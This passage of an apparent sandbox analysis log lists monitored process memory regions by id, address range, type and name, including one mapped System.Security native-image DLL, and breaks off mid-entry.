0x0 region_type = private name = "private_0x0000000000670000" filename = "" Region: id = 4832 start_va = 0x650000 end_va = 0x65ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000650000" filename = "" Region: id = 4833 start_va = 0x660000 end_va = 0x66ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000660000" filename = "" Region: id = 4834 start_va = 0x670000 end_va = 0x67ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000670000" filename = "" Region: id = 4835 start_va = 0x690000 end_va = 0x69ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000690000" filename = "" Region: id = 4836 start_va = 0x6a0000 end_va = 0x6affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006a0000" filename = "" Region: id = 4837 start_va = 0x650000 end_va = 0x65ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000650000" filename = "" Region: id = 4838 start_va = 0x660000 end_va = 0x66ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000660000" filename = "" Region: id = 4839 start_va = 0x670000 end_va = 0x67ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000670000" filename = "" Region: id = 4840 start_va = 0x650000 end_va = 0x65ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000650000" filename = "" Region: id = 4841 start_va = 0x650000 end_va = 0x65ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000650000" filename = "" Region: id = 4842 start_va = 0x660000 end_va = 0x66ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000660000" filename = "" Region: id = 4843 start_va = 0x650000 end_va = 0x65ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000650000" filename = "" Region: id = 4844 start_va = 0x660000 end_va = 0x66ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000660000" filename = "" Region: id = 4845 start_va = 0x670000 end_va = 0x67ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000670000" filename = "" Region: id = 4846 start_va = 0x690000 end_va = 0x69ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000690000" filename = "" Region: id = 4847 start_va = 0x6a0000 end_va = 0x6affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006a0000" filename = "" Region: id = 4848 start_va = 0x21d0000 end_va = 0x21dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000021d0000" filename = "" Region: id = 4849 start_va = 0x650000 end_va = 0x65ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000650000" filename = "" Region: id = 4850 start_va = 0x660000 end_va = 0x66ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000660000" filename = "" Region: id = 4851 start_va = 0x650000 end_va = 0x65ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000650000" filename = "" Region: id = 4852 start_va = 0x660000 end_va = 0x66ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000660000" filename = "" Region: id = 4853 start_va = 0x670000 end_va = 0x67ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000670000" filename = "" Region: id = 4854 start_va = 0x690000 end_va = 0x69ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000690000" filename = "" Region: id = 4855 start_va = 0x6a0000 end_va = 0x6affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006a0000" filename = "" Region: id = 4856 start_va = 0x21d0000 end_va = 0x21dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000021d0000" filename = "" Region: id = 4857 start_va = 0x650000 end_va = 0x65ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000650000" filename = "" Region: id = 4858 start_va = 0x650000 end_va = 0x65ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000650000" filename = "" Region: id = 4859 start_va = 0x660000 end_va = 0x66ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000660000" filename = "" Region: id = 4860 start_va = 0x670000 end_va = 0x67ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000670000" filename = "" Region: id = 4861 start_va = 0x690000 end_va = 0x69ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000690000" filename = "" Region: id = 4862 start_va = 0x650000 end_va = 0x65ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000650000" filename = "" Region: id = 4863 start_va = 0x660000 end_va = 0x66ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000660000" filename = "" Region: id = 4864 start_va = 0x670000 end_va = 0x67ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000670000" filename = "" Region: id = 4865 start_va = 0x650000 end_va = 0x65ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000650000" filename = "" Region: id = 4866 start_va = 0x660000 end_va = 0x66ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000660000" filename = "" Region: id = 4867 start_va = 0x650000 end_va = 0x65ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000650000" filename = "" Region: id = 4868 start_va = 0x660000 end_va = 0x66ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000660000" filename = "" Region: id = 4869 start_va = 0x650000 end_va = 0x65ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000650000" filename = "" Region: id = 4870 start_va = 0x660000 end_va = 0x66ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000660000" filename = "" Region: id = 4871 start_va = 0x650000 end_va = 0x65ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000650000" filename = "" Region: id = 4872 start_va = 0x660000 end_va = 0x66ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000660000" filename = "" Region: id = 4873 start_va = 0x670000 end_va = 0x67ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000670000" filename = "" Region: id = 4874 start_va = 0x690000 end_va = 0x69ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000690000" filename = "" Region: id = 4875 start_va = 0x6a0000 end_va = 0x6affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006a0000" filename = "" Region: id = 4876 start_va = 0x650000 end_va = 0x65ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000650000" filename = "" Region: id = 4877 start_va = 0x660000 end_va = 0x66ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000660000" filename = "" Region: id = 4878 start_va = 0x650000 end_va = 0x65ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000650000" filename = "" Region: id = 4879 start_va = 0x660000 end_va = 0x66ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000660000" filename = "" Region: id = 4880 start_va = 0x670000 end_va = 0x67ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000670000" filename = "" Region: id = 4881 start_va = 0x650000 end_va = 0x65ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000650000" filename = "" Region: id = 4882 start_va = 0x660000 end_va = 0x66ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000660000" filename = "" Region: id = 4883 start_va = 0x670000 end_va = 0x67ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000670000" filename = "" Region: id = 4884 start_va = 0x690000 end_va = 0x69ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000690000" filename = "" Region: id = 4885 start_va = 0x650000 end_va = 0x65ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000650000" filename = "" Region: id = 4886 start_va = 0x660000 end_va = 0x66ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000660000" filename = "" Region: id = 4887 start_va = 0x650000 end_va = 0x65ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000650000" filename = "" Region: id = 4888 start_va = 0x660000 end_va = 0x66ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000660000" filename = "" Region: id = 4889 start_va = 0x670000 end_va = 0x67ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000670000" filename = "" Region: id = 4890 start_va = 0x690000 end_va = 0x69ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000690000" filename = "" Region: id = 4891 start_va = 0x6a0000 end_va = 0x6affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006a0000" filename = "" Region: id = 4892 start_va = 0x21d0000 end_va = 0x21dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000021d0000" filename = "" Region: id = 4893 start_va = 0x21e0000 end_va = 0x21effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000021e0000" filename = "" Region: id = 4894 start_va = 0x21f0000 end_va = 0x21fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000021f0000" filename = "" Region: id = 4895 start_va = 0x2200000 end_va = 0x220ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002200000" filename = "" Region: id = 4896 start_va = 0x2210000 end_va = 0x221ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002210000" filename = "" Region: id = 4897 start_va = 0x2220000 end_va = 0x222ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002220000" filename = "" Region: id = 4898 start_va = 0x2230000 end_va = 0x223ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002230000" filename = "" Region: id = 4899 start_va = 0x2240000 end_va = 0x225ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002240000" filename = "" Region: id = 4900 start_va = 0x2260000 end_va = 0x226ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002260000" filename = "" Region: id = 4901 start_va = 0x2390000 end_va = 0x239ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002390000" filename = "" Region: id = 4902 start_va = 0x650000 end_va = 0x650fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000650000" filename = "" Region: id = 4903 start_va = 0x660000 end_va = 0x674fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000660000" filename = "" Region: id = 4904 start_va = 0x7ff9ff390000 end_va = 0x7ff9ff39ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ff9ff390000" filename = "" Region: id = 4905 start_va = 0x7ffa5a370000 end_va = 0x7ffa5a45cfff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.security.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Security\\e629af2f8417209404342bf320b481bf\\System.Security.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.security\\e629af2f8417209404342bf320b481bf\\system.security.ni.dll") Region: id = 4906 start_va = 0x7ff9ff3a0000 end_va = 0x7ff9ff3affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ff9ff3a0000" filename = "" Region: id = 4907 start_va = 0x690000 end_va = 0x690fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000690000" filename = "" Region: id = 4908 start_va = 0x6a0000 end_va = 0x6a9fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006a0000" filename = "" Region: id = 4909 start_va = 0x21d0000 end_va = 0x21dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000021d0000" filename = "" Region: id = 4910 start_va = 0x21e0000 end_va = 0x21effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000021e0000" filename = "" Region: id = 4911 start_va = 0x21d0000 end_va = 0x21dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000021d0000" filename = "" Region: id = 4912 start_va = 0x21e0000 end_va = 0x21effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000021e0000" filename = "" Region: id = 4913 start_va = 0x21f0000 end_va = 0x21fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000021f0000" filename = "" Region: id = 4914 start_va = 0x2200000 end_va = 0x220ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002200000" filename = "" Region: id = 4915 start_va = 0x2210000 end_va = 0x221ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002210000" filename = "" Region: id = 4916 start_va = 0x21d0000 end_va = 0x21dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000021d0000" filename = "" Region: id = 4917 start_va = 0x21d0000 end_va = 0x21dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000021d0000" filename = "" Region: id = 4918 start_va = 0x21e0000 end_va = 0x21effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000021e0000" filename = "" Region: id = 4919 start_va = 0x21d0000 end_va = 0x21dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000021d0000" filename = "" Region: id = 4920 start_va = 0x21d0000 end_va = 0x21dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000021d0000" filename = "" Region: id = 4921 start_va = 0x21e0000 end_va = 0x21effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000021e0000" filename = "" Region: id = 4922 start_va = 0x21f0000 end_va = 0x21fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000021f0000" filename = "" Region: id = 4923 start_va = 0x21d0000 end_va = 0x21dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000021d0000" filename = "" Region: id = 4924 start_va = 0x21e0000 end_va = 0x21effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000021e0000" filename = "" Region: id = 4925 start_va = 0x21f0000 end_va = 0x21fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000021f0000" filename = "" Region: id = 4926 start_va = 0x21d0000 end_va = 0x21dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000021d0000" filename = "" Region: id = 4927 start_va = 0x21e0000 end_va = 0x21effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000021e0000" filename = "" Region: id = 4928 start_va = 0x21f0000 end_va = 0x21fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000021f0000" filename = "" Region: id = 4929 start_va = 0x21d0000 end_va = 0x21dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000021d0000" filename = "" Region: id = 4930 start_va = 0x21e0000 end_va = 0x21effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000021e0000" filename = "" Region: id = 4931 start_va = 0x21f0000 end_va = 0x21fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000021f0000" filename = "" Region: id = 4932 start_va = 0x2200000 end_va = 0x220ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002200000" filename = "" Region: id = 4933 start_va = 0x2210000 end_va = 0x221ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002210000" filename = "" Region: id = 4934 start_va = 0x21d0000 end_va = 0x21dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000021d0000" filename = "" Region: id = 4935 start_va = 0x21e0000 end_va = 0x21effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000021e0000" filename = "" Region: id = 4936 start_va = 0x21f0000 end_va = 0x21fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000021f0000" filename = "" Region: id = 4937 start_va = 0x21d0000 end_va = 0x21dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000021d0000" filename = "" Region: id = 4938 start_va = 0x21d0000 end_va = 0x21dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000021d0000" filename = "" Region: id = 4939 start_va = 0x21e0000 end_va = 0x21effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000021e0000" filename = "" Region: id = 4940 start_va = 0x21d0000 end_va = 0x21dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000021d0000" filename = "" Region: id = 4941 start_va = 0x21e0000 end_va = 0x21effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000021e0000" filename = "" Region: id = 4942 start_va = 0x21f0000 end_va = 0x21fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000021f0000" filename = "" Region: id = 4943 start_va = 0x2200000 end_va = 0x220ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002200000" filename = "" Region: id = 4944 start_va = 0x2210000 end_va = 0x221ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002210000" filename = "" Region: id = 4945 start_va = 0x2220000 end_va = 0x222ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002220000" filename = "" Region: id = 4946 start_va = 0x21d0000 end_va = 0x21dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000021d0000" filename = "" Region: id = 4947 start_va = 0x21e0000 end_va = 0x21effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000021e0000" filename = "" Region: id = 4948 start_va = 0x21d0000 end_va = 0x21dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000021d0000" filename = "" Region: id = 4949 start_va = 0x21e0000 end_va = 0x21effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000021e0000" filename = "" Region: id = 4950 start_va = 0x21f0000 end_va = 0x21fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000021f0000" filename = "" Region: id = 4951 start_va = 0x2200000 end_va = 0x220ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002200000" filename = "" Region: id = 4952 start_va = 0x2210000 end_va = 0x221ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002210000" filename = "" Region: id = 4953 start_va = 0x2220000 end_va = 0x222ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002220000" filename = "" Region: id = 4954 start_va = 0x21d0000 end_va = 0x21dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000021d0000" filename = "" Region: id = 4955 start_va = 0x21e0000 end_va = 0x21effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000021e0000" filename = "" Region: id = 4956 start_va = 0x21f0000 end_va = 0x21fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000021f0000" filename = "" Region: id = 4957 start_va = 0x2200000 end_va = 0x220ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002200000" filename = "" Region: id = 4958 start_va = 0x21d0000 end_va = 0x21dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000021d0000" filename = "" Region: id = 4959 start_va = 0x21d0000 end_va = 0x21dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000021d0000" filename = "" Region: id = 4960 start_va = 0x21e0000 end_va = 0x21effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000021e0000" filename = "" Region: id = 4961 start_va = 0x21f0000 end_va = 0x21fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000021f0000" filename = "" Region: id = 4962 start_va = 0x21d0000 end_va = 0x21dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000021d0000" filename = "" Region: id = 4963 start_va = 0x21e0000 end_va = 0x21effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000021e0000" filename = "" Region: id = 4964 start_va = 0x21d0000 end_va = 0x21dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000021d0000" filename = "" Region: id = 4965 start_va = 0x21e0000 end_va = 0x21effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000021e0000" filename = "" Region: id = 4966 start_va = 0x21d0000 end_va = 0x21dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000021d0000" filename = "" Region: id = 4967 start_va = 0x21e0000 end_va = 0x21effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000021e0000" filename = "" Region: id = 4968 start_va = 0x21d0000 end_va = 0x21dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000021d0000" filename = "" Region: id = 4969 start_va = 0x21e0000 end_va = 0x21effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000021e0000" filename = "" Region: id = 4970 start_va = 0x21f0000 end_va = 0x21fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000021f0000" filename = "" Region: id = 4971 start_va = 0x2200000 end_va = 0x220ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002200000" filename = "" Region: id = 4972 start_va = 0x2210000 end_va = 0x221ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002210000" filename = "" Region: id = 4973 start_va = 0x21d0000 end_va = 0x21dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000021d0000" filename = "" Region: id = 4974 start_va = 0x21e0000 end_va = 0x21effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000021e0000" filename = "" Region: id = 4975 start_va = 0x21d0000 end_va = 0x21dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000021d0000" filename = "" Region: id = 4976 start_va = 0x21e0000 end_va = 0x21effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000021e0000" filename = "" Region: id = 4977 start_va = 0x21f0000 end_va = 0x21fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000021f0000" filename = "" Region: id = 4978 start_va = 0x21d0000 end_va = 0x21dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000021d0000" filename = "" Region: id = 4979 start_va = 0x21d0000 end_va = 0x21dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000021d0000" filename = "" Region: id = 4980 start_va = 0x21e0000 end_va = 0x21effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000021e0000" filename = "" Region: id = 4981 start_va = 0x21f0000 end_va = 0x21fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000021f0000" filename = "" Region: id = 4982 start_va = 0x21d0000 end_va = 0x21e0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000021d0000" filename = "" Region: id = 4983 start_va = 0x7ff9ff3b0000 end_va = 0x7ff9ff3bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ff9ff3b0000" filename = "" Region: id = 4984 start_va = 0x7ff9ff3c0000 end_va = 0x7ff9ff3cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ff9ff3c0000" filename = "" Region: id = 4992 start_va = 0x21f0000 end_va = 0x21f0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000021f0000" filename = "" Region: id = 4993 start_va = 0x1b3c0000 end_va = 0x1b4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b3c0000" filename = "" Region: id = 4994 start_va = 0x2200000 end_va = 0x220ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002200000" filename = "" Region: id = 4995 start_va = 0x2210000 end_va = 0x221ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002210000" filename = "" Region: id = 4996 start_va = 0x2210000 end_va = 0x221ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002210000" filename = "" Region: id = 4997 start_va = 0x2210000 end_va = 0x221ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002210000" filename = "" Region: id = 4998 start_va = 0x2210000 end_va = 0x221ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002210000" filename = "" Region: id = 4999 start_va = 0x2220000 end_va = 0x2224fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002220000" filename = "" Region: id = 5000 start_va = 0x7ff9ff3d0000 end_va = 0x7ff9ff3dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ff9ff3d0000" filename = "" Region: id = 5001 start_va = 0x2230000 end_va = 0x223ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002230000" filename = "" Region: id = 5002 start_va = 0x2230000 end_va = 0x223ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002230000" filename = "" Region: id = 5003 start_va = 0x2230000 end_va = 0x223ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002230000" filename = "" Region: id = 5004 start_va = 0x2240000 end_va = 0x224ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002240000" filename = "" Region: id = 5005 start_va = 0x2250000 end_va = 0x225ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002250000" filename = "" Region: id = 5006 start_va = 0x2260000 end_va = 0x226ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002260000" filename = "" Region: id = 5007 start_va = 0x2210000 end_va = 0x221ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002210000" filename = "" Region: id = 5008 start_va = 0x2390000 end_va = 0x239ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002390000" filename = "" Region: id = 5009 start_va = 0x2230000 end_va = 0x223ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002230000" filename = "" Region: id = 5010 start_va = 0x2240000 end_va = 0x224ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002240000" filename = "" Region: id = 5011 start_va = 0x2250000 end_va = 0x225ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002250000" filename = "" Region: id = 5012 start_va = 0x2230000 end_va = 0x223ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002230000" filename = "" Region: id = 5013 start_va = 0x2240000 end_va = 0x224ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002240000" filename = "" Region: id = 5014 start_va = 0x2250000 end_va = 0x225ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002250000" filename = "" Region: id = 5015 start_va = 0x2260000 end_va = 0x226ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002260000" filename = "" Region: id = 5016 start_va = 0x23a0000 end_va = 0x23affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023a0000" filename = "" Region: id = 5017 start_va = 0x23b0000 end_va = 0x23bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023b0000" filename = "" Region: id = 5018 start_va = 0x2230000 end_va = 0x223ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002230000" filename = "" Region: id = 5019 start_va = 0x2200000 end_va = 0x220ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002200000" filename = "" Region: id = 5020 start_va = 0x2200000 end_va = 0x220ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002200000" filename = "" Region: id = 5021 start_va = 0x2200000 end_va = 0x220ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002200000" filename = "" Region: id = 5022 start_va = 0x2200000 end_va = 0x220ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002200000" filename = "" Region: id = 5023 start_va = 0x2210000 end_va = 0x221ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002210000" filename = "" Region: id = 5024 start_va = 0x2200000 end_va = 0x220ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002200000" filename = "" Region: id = 5025 start_va = 0x2200000 end_va = 0x220ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002200000" filename = "" Region: id = 5026 start_va = 0x2210000 end_va = 0x221ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002210000" filename = "" Region: id = 5027 start_va = 0x2200000 end_va = 0x220ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002200000" filename = "" Region: id = 5028 start_va = 0x2210000 end_va = 0x221ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002210000" filename = "" Region: id = 5029 start_va = 0x2230000 end_va = 0x223ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002230000" filename = "" Region: id = 5030 start_va = 0x2200000 end_va = 0x220ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002200000" filename = "" Region: id = 5031 start_va = 0x2210000 end_va = 0x221ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002210000" filename = "" Region: id = 5032 start_va = 0x2200000 end_va = 0x220ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002200000" filename = "" Region: id = 5033 start_va = 0x2210000 end_va = 0x221ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002210000" filename = "" Region: id = 5034 start_va = 0x2230000 end_va = 0x223ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002230000" filename = "" Region: id = 5035 start_va = 0x2240000 end_va = 0x224ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002240000" filename = "" Region: id = 5036 start_va = 0x2200000 end_va = 0x220ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002200000" filename = "" Region: id = 5037 start_va = 0x2210000 end_va = 0x221ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002210000" filename = "" Region: id = 5038 start_va = 0x2230000 end_va = 0x223ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002230000" filename = "" Region: id = 5039 start_va = 0x2240000 end_va = 0x224ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002240000" filename = "" Region: id = 5040 start_va = 0x2200000 end_va = 0x220ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002200000" filename = "" Region: id = 5041 start_va = 0x2210000 end_va = 0x221ffff monitored = 1 entry_point = 0x0 region_type = private name = 